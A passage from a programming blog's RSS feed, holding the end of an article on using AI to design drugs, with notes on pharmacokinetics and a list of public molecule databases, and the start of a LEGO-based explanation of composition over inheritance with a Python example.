280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;An optimal drug will cause the desired effect with a minimum of side effects, both in the short and long term.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; releaseInsulin(){}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; applyDrug(drug){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(isReceptorCompatible(cell, drug)){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// desired effects&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    releaseInsulin()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// undesired effects&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    increaseDizzyness()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    createRash()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;how-long-does-a-drug-last-in-the-body&#34;&gt;How long does a drug last in the body?&lt;/h3&gt;&#xA;&lt;p&gt;Well, the answer to that is &amp;ldquo;it depends&amp;rdquo;. It depends on each drug, some may last for minutes, some may last for hours and of others we may find traces even weeks or months later. But, generally they all follow the same pattern, the same phases and always in this same order:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Absorption: if the route of administration is intravenous it is instantaneous.&lt;/li&gt;&#xA;&lt;li&gt;Distribution: The blood is responsible for carrying it throughout the body and its physicochemical properties determine where it remains.&lt;/li&gt;&#xA;&lt;li&gt;Metabolism: Generally, the liver begins to break down the drug and thus its effect ends.&lt;/li&gt;&#xA;&lt;li&gt;Excretion: Mostly excreted through the kidneys, in the urine.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/artificial-intelligence-drug-design-for-developers/images/farmacocinetics.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/artificial-intelligence-drug-design-for-developers/images/farmacocinetics.jpg&#34;&#xA;    loading=&#34;lazy&#34; width=&#34;828&#34; height=&#34;504&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;what-does-it-depend-on-whether-a-drug-works-and-its-side-effects&#34;&gt;What does it depend on whether a drug works and its side effects?&lt;/h2&gt;&#xA;&lt;p&gt;As I mentioned earlier, whether or not a drug activates a cell&amp;rsquo;s receptor depends on whether it fits its &amp;ldquo;lock&amp;rdquo;. This is defined by its three-dimensional structure. For this reason, if two drugs look alike, they are likely to cause similar effects, but being different, one of them will cause fewer side effects.&lt;/p&gt;&#xA;&lt;p&gt;Generally &lt;strong&gt;a drug maintains a base structure, without which it has no effect, and small variations in that base structure are what determine the intensity of the therapeutic effect and the side effects&lt;/strong&gt;. The difficult part is trying to deduce which combination will be the best.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/artificial-intelligence-drug-design-for-developers/images/analogos_penicilinas.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/artificial-intelligence-drug-design-for-developers/images/analogos_penicilinas.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;All penicillins have the yellow structure in common. These two differ in the part highlighted in red.&#34; width=&#34;845&#34; height=&#34;802&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;All penicillins have the yellow structure in common. These two differ in the part highlighted in red.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Look at the molecules above, a single change results in different behavior in the body, can you imagine how many variants we can have for a single drug? Each with different properties, structure and thus different intensities of therapeutic effect and with a unique combination of side effects.&lt;/p&gt;&#xA;&lt;p&gt;What if instead of an Oxygen we use a sulfur, or if we remove the large hexagon-shaped structure on the left side (benzene) and replace it with two carbons? What if instead of two carbons we use three or four?&lt;/p&gt;&#xA;&lt;p&gt;It is very difficult to predict this manually, but this is exactly where artificial intelligence can shine.&lt;/p&gt;&#xA;&lt;h2 id=&#34;artificial-intelligence-and-drug-development&#34;&gt;Artificial intelligence and drug development&lt;/h2&gt;&#xA;&lt;p&gt;Artificial intelligence is able to recognize patterns that humans cannot, it can analyze information related to a large number of molecules and their variants; their side effects, their three-dimensional structure, bioavailability, polarity, presence of functional groups and any other information already existing about each of these molecules, and use them to train a model that predicts whether a molecule has the potential to become a good drug candidate for further analysis and testing in animals and humans.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/artificial-intelligence-drug-design-for-developers/images/fluoxetin.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/artificial-intelligence-drug-design-for-developers/images/fluoxetin.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Fluoxetine, an antidepressant that acts by blocking a receptor.&#34; width=&#34;960&#34; height=&#34;927&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Fluoxetine, an antidepressant that acts by blocking a receptor.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Of course AI for drug development will reach its full potential once the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/&#34;&gt;AI overhype stops&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-parameters-should-i-use-to-train-an-artificial-intelligence-model-to-discover-new-drugs&#34;&gt;What parameters should I use to train an artificial intelligence model to discover new drugs?&lt;/h2&gt;&#xA;&lt;p&gt;Well, that&amp;rsquo;s the crux of the matter, the million dollar question. If you have never worked with biological systems and drugs, I suggest you read up on the basics of pharmacokinetics, pharmacodynamics and stereochemistry.&lt;/p&gt;&#xA;&lt;p&gt;Cells are incredibly complex systems where there are countless parts interacting with each other. There is no simple answer to this question because it depends on the type of cell, the type of drug being used, and even such trivial factors as the type of diet and the time at which a drug is administered (chronopharmacology) can introduce noise in the behavior of drugs in a patient.&lt;/p&gt;&#xA;&lt;p&gt;In addition, there are different approaches ranging from the three-dimensional structure, taking into account the functional groups or atoms that make up a molecule, as well as its multiple physicochemical properties, among which its solubility in lipids stands out, since it indicates how easily it will cross cell membranes; the greater the solubility in lipids, the greater the distribution in the body.&lt;/p&gt;&#xA;&lt;p&gt;Most people think that chemistry is all about mixing things and seeing how the colors change, but in reality mathematics plays a fundamental role in chemistry and there are equations for everything from how to calculate how much to add of a substance to predicting how much of a substance remains in the body according to its physicochemical properties.&lt;/p&gt;&#xA;&lt;h3 id=&#34;databases-for-available-drugs&#34;&gt;Databases for available drugs&lt;/h3&gt;&#xA;&lt;p&gt;There are many, many databases available with information collected on many, many molecules that you can use to feed your models.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.ebi.ac.uk/chembl/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;ChEMBL&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://cdb.ics.uci.edu/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;ChemDB&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coconut.naturalproducts.net/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;COCONUT&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://www.dgidb.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;DGIdb&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://www.drugbank.ca/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;DrugBank&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://drugtargetcommons.fimm.fi/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;DTC&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://cbcb.cdutcm.edu.cn/INPUT/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;INPUT&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pubchem.ncbi.nlm.nih.gov/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;PubChem&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://sideeffects.embl.de/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;SIDER&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://stitch.embl.de/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;STIITCH&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I dare say that although the process will not be perfect and will be full of stumbles, given that the human body is a highly complex system, it will be much better than blindly searching through endless options.&lt;/p&gt;&#xA;&lt;p&gt;If you are interested in the topic, a good place to start is this article titled &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.sciencedirect.com/science/article/pii/S2162253123000392&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Artificial intelligence for drug discovery: Resources, methods, and applications&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;The uses of artificial intelligence go beyond &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/&#34;&gt;solving coding problems&lt;/a&gt;&#xA;, and regardless of whether this &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/chat-gpt-searles-chinese-room-and-consciousness/&#34;&gt;artificial intelligence is conscious or not&lt;/a&gt;&#xA;, it has endless applications. One of the most interesting applications for artificial intelligence is the development of new drugs. Bringing a new drug to market is an arduous, costly and, in most cases, unsuccessful process. Artificial intelligence can speed up the process enormously and narrow down the new drug candidates to a few, rather than dozens of them.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Composition over inheritance quickly explained with legos</title>
      <link>https://coffeebytes.dev/en/software-architecture/composition-over-inheritance-quickly-explained-with-legos/</link>
      <pubDate>Wed, 11 Oct 2023 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/software-architecture/composition-over-inheritance-quickly-explained-with-legos/</guid>
      
      <category>software architecture</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Composition over inheritance is a recurring theme in object-oriented programming (OOP). Usually, it is explained in a very complex way, but today I will try to simplify so even a child can understand it, purists will hate me but I&amp;rsquo;m willing to pay the price.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start our composition over inheritance explanation. Imagine you have a giant box of LEGO bricks, yes, those little plastic blocks that cause unimaginable pain when you step on them. But, in this case, we won&amp;rsquo;t use them to cause pain but to build different types of cars.&lt;/p&gt;&#xA;&lt;h2 id=&#34;composition-vs-inheritance&#34;&gt;Composition vs inheritance&lt;/h2&gt;&#xA;&lt;p&gt;To build our tiny LEGO cars, there are two ways:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Inheritance: you can start with a basic car design, and then make changes to it to create different types of cars. But sometimes this turn into a complete disaster, since you can end up with some strange cars that won&amp;rsquo;t work properly.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1730783879/lego_inheritance_y0c6j1.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1730783879/lego_inheritance_y0c6j1.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Image of a LEGO Car in one piece&#34; width=&#34;562&#34; height=&#34;562&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;You start with a car and start changing parts. All rights for this image belong to LEGO&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;Composition: Instead of starting with a basic car and changing it, you can use smaller LEGO pieces to build the different parts of a car, such as wheels, doors, and windows. Then put those pieces together to create different types of cars. This way, you have more control and flexibility to create exactly the type of car you want without making a mess.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1730783879/lego_composition_zfpbfr.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1730783879/lego_composition_zfpbfr.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Image of different LEGO parts&#34; width=&#34;562&#34; height=&#34;562&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;You start with pieces and start assembling your car. All rights for this image belong to LEGO&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;composition-over-inheritance-in-a-nutshell&#34;&gt;Composition over inheritance in a nutshell&lt;/h2&gt;&#xA;&lt;p&gt;So, in a nutshell, &lt;strong&gt;composition over inheritance means that it&amp;rsquo;s often better to build things by putting smaller parts together rather than changing one big thing to make something new&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;composition-vs-inheritance-diagram&#34;&gt;Composition vs inheritance diagram&lt;/h3&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1747115834/coffee-bytes/composition-vs-inheritance_dbdzvv.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1747115834/coffee-bytes/composition-vs-inheritance_dbdzvv.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Composition vs inheritance diagram&#34; width=&#34;1170&#34; height=&#34;805&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Composition vs inheritance diagram&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;composition-over-inheritance-code-example&#34;&gt;Composition over inheritance, code example&lt;/h3&gt;&#xA;&lt;p&gt;And put in an example using Python code we would get something like:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Inheritance &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Car&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;start_engine&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Starting engine&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;SportsCar&lt;/span&gt;(Car):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;start_engine&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Rrrrrrrr! Starting engine&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Composition &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Engine&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;start&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Starting engine&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span 